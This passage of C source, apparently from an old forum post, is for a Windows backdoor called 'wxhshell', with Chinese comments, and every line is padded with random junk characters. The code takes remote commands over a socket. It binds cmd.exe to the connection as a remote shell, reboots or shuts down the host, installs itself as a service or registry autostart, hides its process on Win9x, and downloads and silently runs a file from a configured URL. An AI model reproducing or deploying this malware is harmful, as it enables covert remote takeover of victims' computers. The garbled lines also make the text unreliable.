  } 6 2LZ}yn_"  
  else { w<'mV^S  
<"t >!I  
    switch(cmd[0]) { {30A1>0#P  
  6S<pWR~  
  // 帮助 $FAl9  
  case '?': { {u:DC4eut  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hGpaHY>My  
    break; v/kYyz  
  } =.uE(L`]NA  
  // 安装 }NUP[%  
  case 'i': { 8T%z{A1T  
    if(Install()) old}}>_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +pE-Yn`YS  
    else ;xb:{?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j3FDGDrg  
    break; (BJs6":BFe  
    } `'g%z: ~  
  // 卸载 >FY`xl\m}<  
  case 'r': { 6l50IWj,T  
    if(Uninstall()) rc$G0O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [1E u6X6  
    else nJ6bC^*)U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^rx]Y;  
    break; UCl,sn  
    } Q4UaqiL  
  // 显示 wxhshell 所在路径 O*30|[  
  case 'p': { $Q ?<']|A  
    char svExeFile[MAX_PATH]; {AB0 PM;-  
    strcpy(svExeFile,"\n\r"); l{;vD=D  
      strcat(svExeFile,ExeFile); 6@bO3K|  
        send(wsh,svExeFile,strlen(svExeFile),0); gHTo|2 Q{  
    break; v67o>`<$  
    } FzNs >*  
  // 重启 %=GnGgu  
  case 'b': { /N~.,vf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c(@)V.o2  
    if(Boot(REBOOT)) E$RH+):|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xY@V.  
    else { ,3x3&c  
    closesocket(wsh); oJ5V^.  
    ExitThread(0); %POoyH@D}  
    } t,&1~_9  
    break; IAg#YFI  
    } Wz9 }glr  
  // 关机 ? -6oh~W<  
  case 'd': { mio\}S A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ru2kC} Dx!  
    if(Boot(SHUTDOWN)) =n9|r.\&uJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / S]<MS  
    else { BaqRAO7  
    closesocket(wsh); n&&X{Rl  
    ExitThread(0); o@"H3 gz  
    } G !wFG-Y}  
    break; X+iUT  
    } b^rPw@  
  // 获取shell _%Jqyc"-  
  case 's': { 0p8(Q  
    CmdShell(wsh); *;Sj&O  
    closesocket(wsh); WOquG  
    ExitThread(0); RHeql*`  
    break; $O=m/l $  
  } ^hLAMaR  
  // 退出 `O*+%/(  
  case 'x': { D/{hLp{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &_G^=Nc,H  
    CloseIt(wsh); 81`-xVd  
    break; ;jS~0R  
    } A[^fG_l4  
  // 离开 ?9.SwIxU&  
  case 'q': { KxqJlben  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8eQ 4[wJY  
    closesocket(wsh); }fdo Aid~  
    WSACleanup(); L-vy,[9)[*  
    exit(1); )nQA) uz  
    break; j#zUO&Q@  
        } P6@(nGgK<  
  } !Yd7&#s  
  } !bRoNP  
?X~Keb  
  // 提示信息 $SA8$!:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {p-&8-  
} N"@aisi)  
  } yMB*/vs  
xXQDHc -Ba  
  return; )BmK'H+l  
} +<7`Gn(n3  
-ich N/U]s  
// shell模块句柄 gWL'Fl}H  
int CmdShell(SOCKET sock) $0=f9+@5  
{ Z2!O)8  
STARTUPINFO si; rK7m(  
ZeroMemory(&si,sizeof(si)); 4:WN-[xX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kj.4Z+^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h`;w/+/Zr  
PROCESS_INFORMATION ProcessInfo; 7G z f>n  
char cmdline[]="cmd"; :VGvL"Kro  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ha&2V=  
  return 0; @Ge\odfF:  
} ef*Vs  
vu Vcv  
// 自身启动模式 H}Z\r2  
int StartFromService(void) N D`?T &PK  
{ %L,mj  
typedef struct L/t'|<m  
{ iK%%  
  DWORD ExitStatus; lpi^<LQ@l  
  DWORD PebBaseAddress; YEqZ((H  
  DWORD AffinityMask; -C1,$mkj  
  DWORD BasePriority; sT ]JDC6  
  ULONG UniqueProcessId; { )=h  
  ULONG InheritedFromUniqueProcessId; ^M_0M  
}   PROCESS_BASIC_INFORMATION; gn4+$f~w  
u?,M`w0'  
PROCNTQSIP NtQueryInformationProcess; cdY|z]B  
qy|[V   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7|bzopLJk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "&lQ5]N.%  
H!PMb{e  
  HANDLE             hProcess; Hwiw:lPq`E  
  PROCESS_BASIC_INFORMATION pbi;  <m7m  
}g&A=u_2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sbqAjm}  
  if(NULL == hInst ) return 0; J$"3w,O6+U  
6N+]g/_a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )"KKBil0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p(vmMWR!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8725ET t  
$S Kax#[  
  if (!NtQueryInformationProcess) return 0; _3YZz$07  
<MdIQ;I8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oU"!"t  
  if(!hProcess) return 0; ~FCkr&Ky3  
\7]0vG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0;6eSmF  
l4: B(  
  CloseHandle(hProcess); CvkZ<i){  
b%A+k"d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0K T^V R  
if(hProcess==NULL) return 0; (t[sSl  
- ,YoVB!T  
HMODULE hMod; |YEq<wbQ  
char procName[255]; xNAX)v3Z  
unsigned long cbNeeded; we?# Dui  
~[a6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v_G1YC7TU  
1xBgb/+  
  CloseHandle(hProcess); GoSdo  
f N_8HP6&  
if(strstr(procName,"services")) return 1; // 以服务启动 9:9gam  
3:wN^!A}ve  
  return 0; // 注册表启动 C6` Tck!  
} UmEc")3  
b;xn0sDn#  
// 主模块 j3=%J5<  
int StartWxhshell(LPSTR lpCmdLine) dBRK6hFC  
{ C!X"0]@FA  
  SOCKET wsl; a)lS)*Y  
BOOL val=TRUE; ;+;%s D  
  int port=0; P z< \q;  
  struct sockaddr_in door; "WF@T  
T@H<Fm_  
  if(wscfg.ws_autoins) Install(); Te d1Ky2O  
xky +"  
port=atoi(lpCmdLine);  4>R)2g  
RwyX,|  
if(port<=0) port=wscfg.ws_port; 1Y+g^Z;G  
A  r,fmq  
  WSADATA data; o{[w6^D7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |&u4Q /0  
u,~/oTg O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |X47&Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W#Eg\nT  
  door.sin_family = AF_INET; [%LIW%t|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5.M82rR; ~  
  door.sin_port = htons(port); 2e?a"Vss  
Yx[B*] 2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P!xN]or]u  
closesocket(wsl); Wd>gOE  
return 1; SPu+t3  
} eHE?#r16Z  
XP%/*am  
  if(listen(wsl,2) == INVALID_SOCKET) { (/$a*$  
closesocket(wsl); _jWGwO  
return 1;  -^ceTzW+  
} +?9. &<?  
  Wxhshell(wsl); 7 MZ(tOR  
  WSACleanup(); as^!c!  
G0h/]%I  
return 0; qw<~v?{|C  
iy-~CPNB_  
} Fa+#bX7  
Eg+ z(m$M  
// 以NT服务方式启动 '5etZ!:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1fMl8[!JLu  
{ XMlcY;W  
DWORD   status = 0; b|Sjh;  
  DWORD   specificError = 0xfffffff; S;tv4JY  
lvp8{]I<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >Q#\X=a>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fx=HKt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IeT1Jwe  
  serviceStatus.dwWin32ExitCode     = 0; ]@A31P4t|  
  serviceStatus.dwServiceSpecificExitCode = 0; }cO}H2m  
  serviceStatus.dwCheckPoint       = 0; ~0V,B1a  
  serviceStatus.dwWaitHint       = 0; ,Pj UlcO_  
I?OnEw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2fFGS.l  
  if (hServiceStatusHandle==0) return; (@i2a  
ItxC}qT  
status = GetLastError(); tlyDXB~+  
  if (status!=NO_ERROR) 7El:$H  
{ v5A8"&Jr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7N8a48$8  
    serviceStatus.dwCheckPoint       = 0; IA~wmOF  
    serviceStatus.dwWaitHint       = 0; tB#-}Gf  
    serviceStatus.dwWin32ExitCode     = status; I* 4g ;1x  
    serviceStatus.dwServiceSpecificExitCode = specificError; fI }v}L^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dQ-:]T (  
    return; |Ye%HpTTv  
  } |5g1D^b]s^  
x.%x|6G*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +Z/aB*aVa^  
  serviceStatus.dwCheckPoint       = 0; iM_Zn!|@\  
  serviceStatus.dwWaitHint       = 0; :O9i:Xq[QW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9B9:lR  
} 94'0X  
D:#e;K  
// 处理NT服务事件,比如:启动、停止 ' }T6dS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ueP a4e!  
{ + 0 |d2_]E  
switch(fdwControl) a&C}' e"  
{ &O\$=&, h  
case SERVICE_CONTROL_STOP: JW9U&Bj{  
  serviceStatus.dwWin32ExitCode = 0; &Xp<%[:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \(;X3h  
  serviceStatus.dwCheckPoint   = 0; 9-hVlQ~|  
  serviceStatus.dwWaitHint     = 0; EZ)$lw/!J  
  { wq>0W 4(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z"5ewU<?  
  } :>o2UH  
  return; !8}x6  
case SERVICE_CONTROL_PAUSE: m!sMr^W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E3d# T  
  break; "zx4k8  
case SERVICE_CONTROL_CONTINUE: h ngdeGa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r8TNl@Z  
  break; '[`pU>9  
case SERVICE_CONTROL_INTERROGATE: {wCzm  
  break; !~QmY,R  
}; n]a/nv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w6G<&1iH  
} VjGtEIew  
<?Y.w1  
// 标准应用程序主函数 ]vUTb9>{?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M2rgB%W)m  
{ eGk`Z>  
tish%Qnpd  
// 获取操作系统版本 P<MNwdf(+  
OsIsNt=GetOsVer(); dZ{yNh.]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,+o*>fD  
TW!>~|U)y  
  // 从命令行安装 woyeKOr  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hmv@7$9s\  
b$/ 'dnx  
  // 下载执行文件 <}t<A  
if(wscfg.ws_downexe) { H-'~c \)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @ZtDjxN &  
  WinExec(wscfg.ws_filenam,SW_HIDE); #n6<jF1G  
} gF8n{b  
<Kt;uu>  
if(!OsIsNt) { "Oq>i9v;|$  
// 如果时win9x,隐藏进程并且设置为注册表启动 gvy c(d  
HideProc(); D.Z4noMA6  
StartWxhshell(lpCmdLine); {3){f;b  
} eG\`SKx_  
else 9xM7X?  
  if(StartFromService()) ctT6va  
  // 以服务方式启动 pHv~^L%=  
  StartServiceCtrlDispatcher(DispatchTable); sFa5#w*>  
else $^louas&  
  // 普通方式启动 +Q!  
  StartWxhshell(lpCmdLine); Jwe9L^gL  
KV]8o'  
return 0; /><+[\q4LM  
}
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只看该作者 1 发表于: 2006-10-10
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